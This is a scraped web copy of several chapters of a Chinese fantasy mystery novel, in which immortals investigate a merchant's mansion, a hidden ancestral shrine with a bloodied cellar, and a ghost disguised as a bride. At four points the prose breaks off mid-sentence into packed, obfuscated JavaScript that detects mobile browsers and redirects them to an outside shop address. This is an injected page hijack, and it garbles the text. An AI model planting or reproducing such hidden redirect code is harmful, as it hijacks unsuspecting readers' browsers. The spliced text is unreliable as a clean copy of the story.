随后,厄运接二连三,虞老爷在大楚的生意因天灾损失惨重,就连妻儿也被匪徒杀害。 经此连番的沉重打击,好多人都认为虞老爷可能挺不住了,结果他反倒越挫越勇,疯狂地压上剩下的全部家当,重返西域。 就是这一次,他幸运地打通了商路,成就了虞家的无上辉煌。 如今,步入古稀之年的虞老爷仍旧耳聪目明,把持着家中生意。庐山镇的百姓都觉得稀奇,认为是他多年以来一直广施仁善之事得来的福报。 他开善堂,收留流浪的孩子,供他们识字读书;庇护流离失所的老人,供他们安度晚年。 褚游听罢,叹道:“是个有勇有谋的人物,还如此心善。” 郁离低眉沉思。 “吱嘎”,客房门被打开,身着青衫的公子推门而入,手里小心地捧着个长了棵绿苗的花盆,正是外出的重寒酥。 常瀞与重寒酥对上视线,无奈道:“还当你是去调查线索了。” 重寒酥正色道:“咳,确实是调查,途中遇到一株珍稀花草,顺便带回来的。” 常瀞眼珠一转:“哦?真是珍稀花草?不是什么……” 重寒酥赶忙截住话头:“好了,你身边这二位是?” 常瀞:“他们是鸡鸣巷的二位巷主,此行是为协助我们解决庐山镇一事,黑袍木质面具这位叫阿离,红袍银质面具这位叫——” 褚游笑着开口:“褚游。我叫褚游,见过上仙。” 殿下,好久不见。这一次,他们都换个身份,重新认识一遍。 重寒酥也回之一笑。 四人落座。 常瀞说完郁离的发现后,询问重寒酥这几日有没有新发现。 重寒酥喝了一口茶:“确实又发现了个奇怪的地方。虽然目前没发现与魔物有关,但是直觉告诉我这里面有问题。” 那日常瀞刚离开,重寒酥便出门探查,因为先前将镇外山林细细搜寻了一遍,再加上土地仙的担保,此次他将重点落在了城内。 借助虞府的名头,重寒酥在庐山镇内畅通无阻,甚至连镇里的衙门都敢大大方方地进去问询,可是都一无所获。 直到常瀞走后的第三日,也就是今日。 今早天还未亮,重寒酥提着一壶小酒坐到了屋顶上小酌。任务连日来毫无进展,让一向好脾气的他都有些急躁。 虞府的下人们此时已经起床进行筹备,他无聊地看着下人们在各个院落中穿梭,突然发现有一个下人有些奇怪。 那是一名侍女,她似乎在刻意避着人群向虞府深处走去。起初重寒酥以为她是虞府主子的贴身侍女,没有过于注意。 直到那名侍女走进了一个处在边角的小院子,他才察觉到不对劲。 初入虞府时,出于谨慎,他与常瀞便将这七进七出的大宅院悄悄摸了个遍,可是,为何他对这个小院子毫无印象。 重寒酥连忙追过去,打算一探究竟。 可当他赶到院子附近,却好似是遇到迷障般,无论如何也找不到侍女进去的那道门。 重寒酥语气郑重:“那个院子应当是存在某种阵法或机关,以达到隐藏的目的。我不擅长此道,只能判断出不是幻术,当时只我一人,强行突破担心打草惊蛇,恰好今晚趁夜色一起再去探探。” 褚游连忙点头表态:“好。我和阿离这些天全力配合你们。” 郁离:“……” 要不要这么积极。 常瀞用扇子支着下巴,若有所思:“那就今夜丑时去探探。” 丑时,虞府。 四人碰头后,跟随重寒酥向小院子出发。 小院子位于虞府大门最远处的西北角,在虞府主子们居住院落的后方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196550|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 靠近后,众人只看到一堵貌似普通的砖墙。常瀞率先走到近前,端详了一会儿,摇头表示甄别不出,无法解除。 郁离上前一步,将手按上墙壁,片刻后也摇摇头:“与机关术无关。” “我们小阿离机关术也不错。”褚游接话,“那八成就是阵法了。” 常瀞头疼:“现在连是什么阵都不清楚,更不必说解阵了。哎,要是姬润在就好了。” 重寒酥问道:“那现在如何是好,强行突破不知道会不会被发现。可是不管这里的话,又总觉得哪里不对劲。” 众人沉默,陷入两难。 郁离:“其实我还有个疑惑,我同褚大哥午后在虞府稍微逛了逛,发现这里的府兵多得离谱,快赶上皇宫的用人标准了。” 常瀞:“庐山镇如此安定,照理说不需用这么多府兵。” 重寒酥补充:“这些府兵中甚至大部分人都有灵气。” 褚游摸摸下巴:“有点意思,那看来这个阵咱们是必须要闯一闯了。” 常瀞:“不急于这一时,反正这个院子又不能长腿跑了。明日咱们针对这个院子再各自搜集下线索,明晚再来。” 翌日,虞府。 褚游以好些日子没离开过鸡鸣巷,想要出门转转为由,粘着重寒酥去了镇子上打探线索。常瀞就领着郁离溜溜达达去梦园找虞少爷,虞少爷和虞少夫住的院子叫做梦园。 望着梦园里葱茏的草木,常瀞叹道:“你们家这些园子修得真好,得费不少功夫吧。” 虞晖摸摸头:“确实好看,春日里若是开了花,更美。但是具体花了多少功夫我就不太清楚了,这些都是我父亲之前在安排和操办。” 常瀞不动声色:“府里的事务你不管,那你是负责生意上的事?” 虞晖尴尬一笑:“生意上的事情我也管的少,主要还是我爹在负责。我是我爹五十多岁的时候才生的,生我的时候我娘难产,没多久就去了。我爹从小娇惯我,把我养的特别淘气,不记得是几岁的时候,我乱跑磕坏了脑袋,反应总比其他人慢半拍。长大后他试着交给我一些生意,可是我总是搞得一塌糊涂。” 常瀞干笑,拍拍他的肩:“害,那这不轻轻松松也挺好。” 几人又闲聊几句,常瀞便找了个理由,与虞少爷道别。 走出几步,郁离突然回头问:“怎么今日不见虞少夫人。” 虞晖腼腆一笑:“惜露起床后突然说有些头晕,便在房间休息。” 回到客房,常瀞用扇子敲敲掌心:“怎么样,虞少爷院子里有气息么?” 郁离摇头:“还是没有明显的区别,昨日我与褚大哥出去将镇里镇外几乎转了个遍,确定了只有虞府有。” “哎,辛苦你们了,再多注意一下。” 郁离垂首,头顶有几根炸毛:“凡遇魔物之事,我辈义不容辞。” 常瀞下意识将手伸向郁离头顶,反应过来后又收回。 像是在装小大人一样。 这个样子,真的好像他家郁离。 只是又哪哪都对不上,他家郁离可是山鬼,是山中之灵,怎么可能会出现在鸡鸣巷。 5. 虞府(三) 褚游和重寒酥回到虞府,一进房门,褚游便被满屋的珠光宝气和绫罗绸缎闪到了眼睛。 他气得哇哇大叫:“这虞府怎么看人下菜,爷承认星君是长得好,但是也不至于客房和客房之间差距这么大吧!” 重寒酥赶忙示意他小声点:“这些都是星君自己带的,他少爷脾气,惯来挑剔,一应日常用具走到哪带到哪。这都不算什么,他当年初入上清境时折腾出来的动静,可是连天尊都给惊动了,叮叮咣咣把月宫整修了三日才罢休。” 常瀞无辜地眨眨眼。 褚游看着常瀞脚下白玉做的脚踏凳,一脸悲愤。 郁离忙打岔:“我们这边今早没有发现什么线索,只是确定了七成虞少爷与这些怪事无关,症结还是在虞老爷那里。你们呢?” 重寒酥喝了一口茶,开口道:“是有新收获,我们今早在茶摊向卖茶老伯打听了虞府府兵的事情。” 几刻钟前,庐山镇茶摊。 老伯摸着胡子陷入回忆:“虞府招揽府兵是在建府前半年就有的事情,当时声势那个浩大呀。也许是月银丰厚的原因,甚至周边几个镇子都有人来报名。当时也曾经有人质疑过虞府这般大量招府兵是为什么,虞老爷却一改平日慈眉善目的模样,郑重地说是为保庐山镇安全。” “嘿,说来也巧,虞府建成第二年便有山贼来犯,趁夜色突然袭击,冲入镇中大肆抢掠,多亏了虞府府兵帮着官兵才打退山贼。我们镇啊,有虞老爷可真是有福气啊。他帮着打退山贼后,还开仓放粮,帮着被抢掠的百姓修缮房屋呢,真是个大善人啊。” 重寒酥附和了几句,继续问:“您了解这些府兵吗?” 老伯一楞:“我上哪了解,老头我平日从早到晚就在这卖茶水,哪里有机会见那些府兵。” 褚游爽朗一笑:“我们俩头几日被虞少爷请进虞府小住,瞧着那些府兵感觉特别威风,就有些好奇。老伯求您再想想,您这茶这么好喝,茶摊位置又在这南来北往的地方,客人这么多,您肯定听说过什么。” 老伯皱了皱眉:“叫你这么一说,我还真又想起件事,只是……。” 那是虞府建成后差不多第三年的冬夜,眼看着街上人渐稀少,他便开始收拾茶摊准备回家,突然有个面色仓皇的男子一路跌跌撞撞朝着他的茶摊奔来,一把抓住他的袖子求他救命。 他当时吓坏了,连声问道怎么回事。那个男子哆哆嗦嗦话也说不清楚,嘴里只是嘟囔着什么有鬼有鬼,士兵死了又活了。 他正不知所措,来了一个陌生男子,笑着跟他道歉,说他与这个疯疯癫癫的男子是亲戚,路过庐山镇歇脚,他这个亲戚精神不大正常,然后就扶起他走了。 那个疯癫男子力气特别大,手紧紧拽着他的衣袖,一直用祈求的眼神看着他,扯了好几下才扯开,连他的衣服都拽坏了。 回家后,他总是觉得哪里不太对劲,但是又觉得确实离谱,什么人能死了又活了。后来连着忙了几天,就渐渐把这件事情抛之脑后了。 直到又过去了几个月,他做工匠的儿子去虞府整修园子时摔折了一条腿。他拉着车去接儿子时,远远地看到虞老爷身边跟着的,可不就是那日后到的陌生男子。 他近乎本能地背过身藏在阴影中,避开了那人,一接上儿子就飞快离开了虞府。 回到家后,他问儿子,儿子说那好像是虞老爷的一名贴身府兵,虞府有好些府兵都怪怪的,在他刚去干活时都有些说不上来的迟钝,后来才慢慢正常了。 他吓得一身冷汗,提心吊胆过了好些天,没见有什么奇怪的事情,便慢慢放下了这件事,毕竟人总是要先过好自己的生活。 重寒酥推测:“如果茶摊老伯没有说谎,没有添油加醋,那些府兵的怪异情况,会不会是因为被什么东西给调换了。至于虞老爷知不知情,我持怀疑态度。” 褚游感叹:“这个虞老爷看样子不简单呐,他借着这个善人的名号,谁知道私下做了什么勾当。” 常瀞把玩着手中的扇子:“那咱们目前就是虞老爷,府兵和小院子三条线索,都得继续追查下去。” 郁离点头。 常瀞扶额继续道:“虞老爷号称养病,一时半会儿也见不着人,但是总会有正当理由见上一面。府兵的事情,也还好说,接触的机会很多。小院就麻烦了,该怎么在不惊动的虞府的情况下进去看看呢,该不会还得回上清境搬救兵吧。我入上清境三百年,统共这才是第三回任务,就上这借援手上那搬救兵的,真是。” 重寒酥叹气:“只是这回任务确实扑朔迷离,咱俩也确实不精于此道。” 郁离犹豫:“我可能有个办法,但是不知道行不行得通。” “先说来听听。” 郁离伸手在袖子里掏掏,掏出正呼呼大睡的鼠爷:“我的这个傀比较特殊,有部分术法阵法对他无效,或许他能进去。” 重寒酥好奇地凑上前去看。 褚游则是一拍脑袋:“倒是把他给忘了。” 许是四道视线太过炽热,鼠爷幽幽转醒。 “!” “都这么看着本,咳,我做什么?!” 深夜,虞府。 重寒酥因为可以沟通附近的花草树木,被安排到近处的屋顶望风,其余人展开行动。 郁离婆婆妈妈:“怎么样,进得去吗。要是能进去也不要逞强啊,有什么不对头赶紧溜。” 鼠爷慢吞吞挪到墙边:“好好好。” 只见一道黑光一闪,鼠爷仿佛被墙壁吞噬般消失了。 “成功了!”郁离连忙盘膝静坐,打开与鼠爷的视线通道,随后通过特制的水镜将视线范围内的景象呈现出来。 常瀞叹道:“机关术千变万化,果真名不虚传。” 郁离谦虚:“都是前人经验。” 褚游撇嘴:“行了,你就别谦虚了。” 郁离:“诶好了好了,院子里的景象出来了。” 当水镜中的画面出现的那一刻,三人都屏住呼吸,脑中预想了各种可能会出现的画面,然而映入眼帘的却是再普通不过的一间院子,只是对比虞府的其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196551|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院子显得更加破败而已。 小院里空无一人,此时鼠爷已经贼头贼脑地靠近了唯一的房子,房内似乎点着烛火,昏黄的光影影绰绰映在纸窗上。 鼠爷传音:“能感觉到有机关么?” 郁离:“感觉没有,但还是小心为上。” 鼠爷端详了一会儿,选了一处缝隙就那么直接钻了进去。 眼前的一幕惊得它绿豆似的眼睛都瞪大了两倍,只见满目的灵牌,从高到底错落摆满了一整面墙,灵牌下供着数量众多的香烛。 鼠爷:“!” 鼠爷:“好家伙的!祠堂设的这么隐蔽,何必呢。” 常瀞突然出声:“数量不对。” 褚游疑惑:“什么什么?” 常瀞解释道:“灵牌数量,虞家人丁单薄,哪里会有这么多灵牌。” 褚游:“对哦,那这些是谁的呢?” 郁离指挥:“靠近看看。” 鼠爷溜着墙边绕了一圈确认无人后,胆子便大了起来,上蹿下跳爬上摆放灵牌的架子细细查看。这些灵牌上竟然都没有名字,最顶上摆着八个大灵牌,其余小灵牌都置于其下方。 常瀞沉吟:“无名灵牌。虞家真是有点意思。” 又上蹿下跳了一阵子,没有什么别的发现,鼠爷听着郁离那边也观察得差不多了,便准备开溜。 刚溜到墙角,鼠爷就感知到郁离在叫它,让它到灵牌下面再看看。 它嘟嘟囔囔回到那块,四处踩踩果然发现有蹊跷,下面似乎是空的。 它听着郁离的指示,在这片地上,这踩踩那跳跳,果然露出了一条向下的台阶。 “咳咳!” 这么多灰,这是多少年没人进去过啊。 鼠爷叹道:“还得是你啊。” 郁离:“好了,还是谨慎点,不知道有没有机关。” 鼠爷嘴上不耐烦:“好好好。” 台阶下了足足有半刻钟,寂静的黑暗足以把人逼疯。 没事挖这么深干嘛,这虞老爷真是有病,还好没有机关,鼠爷一边下一边在心里嘟囔着。 台阶的尽头是一个空旷的地下石室,鼠爷慢吞吞顺着墙摸索。 真黑啊,得亏我们鼠族夜视能力好。 鼠爷摸索到地下石室中央,发现这里的地面上竟然刻有八尾活灵活现的鱼,这在空旷的房间里显得尤为古怪。 它细细观察许久,却没发现有什么隐秘之处,连郁离也没有头绪。 无法,鼠爷只能暂时放弃,转而去找耳边滴水声的源头,可是同样没有收获,怎么也找不到滴水声是从哪传出来的。 它累得气喘吁吁,痛骂此地古怪。 郁离忽然道:“这里地面的颜色好奇怪,怎么是褐色的?” 褚游观察得更加仔细:“深浅还不太一样。” 鼠爷挠挠头:“是哦。” 它用爪子摸了摸地面上的鱼形浮雕,嗅了一下,随后深色凝重地传音。 “是血,这地面上是厚厚一层干掉的血。” 6. 虞府(四) 四人一鼠回到客房,鼠爷正小心地刮掉爪尖上粘的血沫,突然被郁离叫停。 郁离用手指捻动那些已经干掉的血沫,仔细感知后开口:“我感知到了鸡鸣巷那个小姑娘的气息。” “!” 片刻后,常瀞打破平静总结:“那么现在可以确认的是,虞府地下石室里的血迹是鸡鸣巷那个小姑娘的,或许也可以说,这里就是她的死亡地点。” “她饱受折磨,满腔怨气与恨意,不肯入轮回,选择了来到鸡鸣巷。多年以后,她利用鸡鸣巷的规则重新回到了这里。随后,根据土地仙的说辞,她并没有依照规则消散于世间,而是借助什么方法留了下来。” “至于她用了何种方法?我们是否可以大胆地联系一下三元鉴在庐山镇探查出魔物一事,能够绕过鸡鸣巷规则的,会不会就是我们遍寻无果的魔物。” 重寒酥拧眉:“确是如此,是魔物的可能性很大。那如今我们的调查重点就应当是至今未曾露过面的,那位虞老爷。” “不错。” 褚游气愤:“那个虞老爷真不是什么好东西,庐山镇百姓竟然这么多年都被他蒙蔽。如果整件事情与他脱不了干系,他必须得付出代价!” 郁离拍拍褚游:“是啊,但是虞老爷到现在一直没露面,我们要怎么才能见到他。根据府兵的线索能够看出来,这虞府的守卫十分周全,虞老爷的住所只怕更严。” 常瀞接话:“很难,魔物到现在都没漏出马脚,我们必须得继续揪着虞府的线索查下去,不能打草惊蛇。大家先休息吧,明日还是我和阿离去探探虞少爷的口风,若是还见不到人,就晚上去探。寒酥,就麻烦你和褚游兄弟去找那些府兵聊聊?这条线索咱们也不能放过。” “嗯。” “好嘞!” 郁离合眼躺在床上,想到了与鸡鸣巷小姑娘的最后一面。 印象中她长了一双圆圆的眼睛,在拿到离开鸡鸣巷的钥匙后,沉默地向他行礼,然后就转身离开了。 鸡鸣巷来来往往,俱是过客,除了这一面,在他的记忆中,对这张脸并没有什么其他的印象。 夜色寒凉,郁离辗转反侧,难以入眠。在又一次翻身后,他干脆披衣起身,走出房门。 月亮高高的悬在天上,他悄悄离开虞府,走出了庐山镇。 镇外十分寂静,只有一片片茂密的山林沉默地立在月光下面,他初到这里时就喜欢上了这个地方。 鸡鸣巷很好,他的小店很好,褚大哥很好,施娘很好,邻居老茅很好,来来往往的鬼们也很好。 可是,鸡鸣巷没有参天的高木,也没有幽静的深山。他生于山,长于山,只有他守护的碧影山才能给予他灵魂深处的安稳,只是,他再也回不去了。 郁离看好了一棵大树,轻巧地几个纵跃就攀了上去。他窝在枝丫中间,找了一个舒服的姿势,望着月亮出神,渐渐合上了眼睛。 …… 太阳还未出来,郁离便被清晨的阳光照醒了。他回到虞府,刚巧赶上今日早饭,便坐到常瀞对面,为自己倒了一杯茶。 常瀞一身玄色衣袍,正在喝粥,嘴唇被粥的热气蒸出好看的红色。 褚游一边推门,一边揉着惺忪的睡眼,抬眼就看见常瀞和他手边那把檀木扇子:“我说星君,这几天我都想问呢,您是有多少种颜色的衣裳,多少把扇子。” 常瀞随意答道:“那可太多了,怎么?我生得这么好看,不该打扮的漂亮点儿吗?” 重寒酥无奈:“慢慢你就习惯了。” 褚游:“……” 吃过早饭,常瀞就领着郁离去梦园找虞少爷。 来的巧,虞少爷陪着夫人正在园子里看花。 见过礼后,郁离望向少夫人柳惜露:“昨日听虞少爷说您身子不适,今日好些了?” 柳惜露有些怕生般地朝虞少爷身后躲了一下,又很快反应过来不妥向外挪了一步;“无事的,许是夜里没睡好。” 虞少爷道:“没什么事,难为你们还记着。” 几人又闲聊了几句,常瀞不动声色将话头转向虞老爷:“虞老爷近来身体好些了么?” 虞少爷还在笑着的脸瞬间耷拉下去:“还是老样子,就是精神不大好,成日睡着。医师说可能就是这样了,静养就好。” 常瀞继续道:“我们在贵府叨扰的日子也不短了,到现在还没有去拜访过您父亲,总觉得过意不去。” 虞少爷摆摆手:“哪里算得上叨扰,当初要不是在镇外你们救了我,我这条命只怕都没了。上回你们说要见我爹,我就和他提过了,他说心意领了,只想自己静静修养,不想见外人。害,我现在见他一面都不容易。” 常瀞又生一计,手指向郁离,在桌子底下悄悄踢了他一脚:“他略通医术,曾随乡野医师学习,擅长些不同寻常的治病方法,不计较的话可以让他给虞老爷瞧瞧。” 郁离一僵,点头配合道:“对啊对啊,我医治过一些疑难杂症,或许能帮上忙。” 就在虞少爷皱着眉头纠结时,一直在一旁安安静静地柳惜露开了口:“晖郎,爹不是已经说了不愿再看诊了。” 郁离抬眼看向柳惜露。 虞晖叹了口气:“唉也是,实在是我爹特别固执,但还是谢谢你们了。” 怕再试探下去他们生疑,常瀞和郁离只能作罢。 回到下榻的院子,二人泡了一壶茶便开始思考接下来的对策。 郁离纠结良久还是开口问道:“星君你有没有觉得虞少夫人有些奇怪,明明是新婚,却并没有很开心的样子。” “好像是有点。”常瀞突然调转话头:“你好像格外关注虞少夫人?” 郁离迟疑:“也没有,只是觉得有些熟悉,但又想不起来在哪见过。” 常瀞玩味道:“熟悉?你不会是看那位少夫人长得合意吧。” 郁离脸急得涨红:“怎么,怎么可能。我喜——” 这小鬼逗起来挺有意思,常瀞恶趣味地想。 “哦?喜什么,喜欢谁?小阿离看着年龄不大,却都有喜欢的人了?” “没,没什么!” 去试探虞府府兵的二人拉着脸回来,及时打断了常瀞的追问。 据重寒酥和褚游的观察,暂时无法肯定府兵被换的线索,那些府兵都与常人无异,看不出区别。 但是褚游执意说他们肯定有问题:“我和好几个人都比划了两下,他们力气奇大,在我不施加灵气的情况下比我还大,怎么可能!” 其他三人扶额,只说先把这个线索撂下,晚上先去探虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196552|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老爷。 …… 入夜,四人偷摸来到虞老爷静养的蕉园外面。 “这是咱们第三个晚上偷偷摸摸的出来查探了吧。我以为跟着出来是来打架的,怎的总是干些偷鸡摸狗的事情。”褚游小声吐槽。 郁离撇了他一眼:“是你硬要跟来的。” “嘿!你怎么跟你大哥说话的。没大没小。” 重寒酥小声道:“好啦好啦,后面有你大打出手的时候。” 郁离本是想继续让鼠爷去探,反正它没在虞府公开露过面,万一被发现还能假装是无辜路过的小动物。只可惜那日探过地下石室后,它就陷入了沉睡。 自从郁离将它炼成傀后,便是如此,睡着的时间比醒着多。 于是四人只能制定新计划,最后决定由郁离和常瀞附身到两个小飞虫傀上,潜入蕉园,重寒酥负责望风,褚游则在他们下榻的院子守着郁离和常瀞的身体。 傀有很多种制作方法,可以由木头、金属炼成,也可以由走兽、草木炼成。傀师一般是用念力凝成的丝线控制傀,而顶尖的傀师却可以做到保留傀生前的意志,无需控制,就可以自行行动,就像是被赋予了二次生命一样。 这次临时制作的小飞虫傀是郁离用木片制成的,其实用真正的飞虫制傀,灵活性会更好。 只是考虑到常瀞的洁癖,郁离最终还是亲手拼了两只漂漂亮亮的小飞虫出来。 “接下来我会用我的意念去触碰你的意念,请星君完全放松,不然以你我修为的差距,我无法控制你的意念将它放入傀中。”郁离认真的看着他。 常瀞用扇子抵着下巴,眨眨眼:“被别人控制意念,我还从来没试过。” 郁离呼吸一窒,却装作无事般,淡淡道:“你不信任我么。” “什么呀,我就是好奇这种感觉。若是其他人我还真不敢这么放松,但若是你,我也不清楚为什么,就是觉得你不会害我。” 郁离沉默片刻,忽然道:“你不该这么信任我,或许我会禁锢你的意念,藏在一个谁也找不到的地方,让你永远不能离开我。” 常瀞瞪圆眼睛:“哈哈哈哈哈,没看出来阿离你还挺会开玩笑。” “哈哈哈,好了,开始吧,这个过程还需要一段不短的时间。” 他是在开玩笑,可这也是他学成傀术后,动过的第一个念头。 …… 虞老爷的小院里静悄悄的,府兵倒是不少,每个人都各司其职,站在自己的位置上一动不动。 常瀞扇着小翅膀悬浮在郁离头顶上,满意地体验着新的视角。 说实话,阿离说他打算用木片做傀,而不用真飞虫时,他松了一大口气。 不然附身真飞虫,想想就恶心。 常瀞率先朝前飞去,一路晃晃悠悠,轻而易举就摸进了室内。 房间内光线特别昏暗,不知道点了什么熏香,味道特别浓重。 郁离和常瀞小心地绕过两个垂头似乎在打盹的侍女,飞向床帐。 两虫飞进虞老爷床帐的一瞬间,就察觉到不对劲。 太安静了,甚至,连一点呼吸声都没有。 虞府众人口中一直在静养的虞老爷此时正躺在床上,明明面色还如活着般红润,却少了,活人应当有的呼吸声。 7. 虞府(五) 郁离一惊,慌乱传音:“怎么回事,虞老爷这是已经离世了?!” 常瀞:“先回去,这里不对劲。” 两人匆匆忙忙在郁离的引导下回到各自的身体,褚游见两人睁开眼睛还没来得及开口,一道暗影就冲破房门朝三人袭来,常瀞迅速反应过来拔剑接下这一击。 随即又是几道暗影破门而入,褚游见状迅速祭出长刀加入战局。 因为还身处虞府,不好施展,常瀞一马当先冲破屋顶而出,将战局引至空中。 几人战成一团,郁离反应过来后,也释放出两只小型傀在一旁伺机补刀。 偷袭的暗影渐渐露出身形,是食血鬼。 “该死,这里怎么会出现这种东西!数量这么多!砍都砍不完。”褚游一边砍一边大声喊。 常瀞冷静道:“如此大量的食血鬼,很不寻常,背后一定有人操控。” 远处的重寒酥发现这边天上的打斗也赶了过来:“我来找。”他将意念与虞府的花草树木相连,很快锁定了不远处的一道黑影。 黑影见已经败露,迅速朝镇外逃去。 郁离见常瀞三人已经追了上去,便落在他们三人后面,远远地坠着。 常瀞三人追着黑影一直来到了镇外的一座荒山上,眼见着黑影在前方一晃,就消失无踪。紧接着,一座血色大阵拔地而起,将三人困在里面。 “不好,中计了!”褚游一刀劈在血阵上,血阵却只是轻微晃了晃。 重寒酥警惕地打量着四周:“这真是,一直待在上清境,日子太安逸了。好不容易出来跑个任务,连这么明显的陷阱都没看出来。” 常瀞四处看了看:“这是流霞阵,好破,只是需要废些时间。料想那人将咱们引到这里也没想着能困死我们,只是想拖延一下时间好溜走。” 流霞阵,听着名字挺好听,却是一个不折不扣的阴毒杀阵。该阵需以人血为引,阵成之时,满地鲜血,就像流淌的红霞一般,因此得名。 “还好不是那个八煞流霞阵,不然咱们今天算是折在这里了。”褚游叹气。 重寒酥放松下来:“八煞流霞阵都快失传了吧,多少年没有现过世了。好了,我赶紧找找阵眼,等下咱们一起攻击阵眼就好,再等下去,这阵就该开始吞噬血肉了。” 在重寒酥忙着找阵眼的工夫,郁离从阵旁轻巧掠过,得知他们自己能搞定后,便继续朝前方追去。 在黑影刚现身时,他就控制着一个小型傀贴了上去,所以此时才能找到黑影的位置。 郁离追到黑影消失的位置,感知片刻,便释放出一个豹子形状的傀载着他继续追。 越来越近,越来越近了,他已经能看到前方的黑影,黑影回头时也发现了他。 “叮——”豹子前爪与黑影短兵相接的一刹,郁离便判断出这个黑影的修为不高。 可是他并没有轻敌,仍然很谨慎了又释放出几个傀,与黑影缠斗起来。 黑影渐渐不敌。 郁离见状悄悄隐藏在一个人形傀背后,趁傀被挡开的一瞬,想近身割开对方的面罩。 只是他到底不擅长近战,被黑影及时躲开,保住了面罩,仅仅割开了面罩的一角。 黑影惊慌,一脚将郁离蹬开,不顾反噬强行召出大群食血鬼,拖住郁离想要逃跑。 郁离心思一动,干脆假意被踢伤,留在了包围圈里。 没错了,刚刚黑影惊慌之下外泄的一丝气息,让郁离终于确认了心中的猜测。 突然出现的黑影果真就是怎么都找不到的鸡鸣巷小姑娘,而且还一直藏在身边。 她就是虞家少夫人,柳惜露。 面罩被割开的一角里隐约露出了黑影的眼睛,一双圆圆的的眼睛,属于柳惜露,也属于鸡鸣巷的小姑娘。 还有她们都拥有的那种,偶尔会流露出来的毫无生气的眼神。 他对虞少夫人隐隐约约的熟悉感,原来不是毫无道理的,只是到底与鸡鸣巷小姑娘仅有几面之缘,直到方才才认出来。 看柳惜露已经跑远,郁离三两下解决掉围攻他的食血鬼,返回去找被困在阵里的三人。 “什么?!虞少夫人就是巷里那个小姑娘!”褚游惊讶得甚至停下了刚开始施展的清洁术。他们刚破掉流霞阵,身上都是阵内的血气。 “是的。”郁离找了一块石头坐下,呼吸有些重。 抛开傀术,他其实和普通人无异,刚刚被柳惜露踹了一脚,虽然没有受伤,但多少有些不舒服。 常瀞疯狂往身上丢清洁术:“那这样反倒能确定了,在地下石室杀死小姑娘的就是虞老爷。她离开鸡鸣巷来庐山镇复仇,可是没想到虞老爷身边高手众多,她大概失败了,因此才被魔物钻了空子。 褚游疑惑:“我其实一直不理解,魔物都强大到能打破巷子的规则了,还能有什么事需要一个小姑娘做。” 重寒酥耐心解释:“魔物肆虐的时日距离我们都太过遥远,很多人其实都对魔物不了解,连我们也是入上清境后才知道的。它们之所以被视为三界最大的威胁,不是因为它们自身战斗力强大,而是因为它们是杀不死的。” “它们似乎不能直接对三界内的任何生物出手,每次作乱都是依靠‘帮手’,达到目的。而且它们对自己选择的‘帮手’也相当恶毒,它们许诺给‘帮手’的通通都是有极大代价或是根本无法实现的,它们最爱观赏绝望。” 常瀞已经重新换上一身新衣服,并且一把火烧掉了换下来的:“魔物的目的是什么,它总不能是做好人好事帮小姑娘一把吧,破题点还是在虞府。” 郁离缓缓调整呼吸:“柳惜露之前一直没有什么动作,估计只是个小喽啰,就算抓住她估计也问不出什么线索。况且她应该没有察觉到我已经知道她的身份了,我们要不要先假装什么都不知道,先回虞府再说。” 常瀞思考片刻,点了点头。 回去的路上四人都十分谨慎,在经过一片湖水时,常瀞猛然扭头,一剑朝旁边的草丛斩去。 草丛向两边分开,露出一个抱头蹲在地上瑟瑟发抖的人。 常瀞定睛一看,发现竟然是带郁离和褚游第一次到庐山镇时遇见的那个哑巴乞丐。 他连忙又斩出一道剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196553|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,化解了方才那道,同时扔出一条绳子捆住了乞丐。 乞丐被束住手脚后,突然开始剧烈地浑身颤抖。 “咱们也没把他怎么啊,他怎么抖得这么厉害。”褚游摸着后脑勺。 郁离拉了下常瀞的衣角:“要不给他松一下绳子,咱们四个人看着呢,他也不像有灵力的样子。” 常瀞想了想,听话地放松了绳子,乞丐果然缓缓停下了颤抖。 褚游见乞丐冷静下来,凑上前去:“说,你为什么偷偷躲在草丛里。” 郁离:“……” 郁离拉住褚游的袖子:“人家不能说话。” 褚游尴尬:“啊?哦哦忘了。” 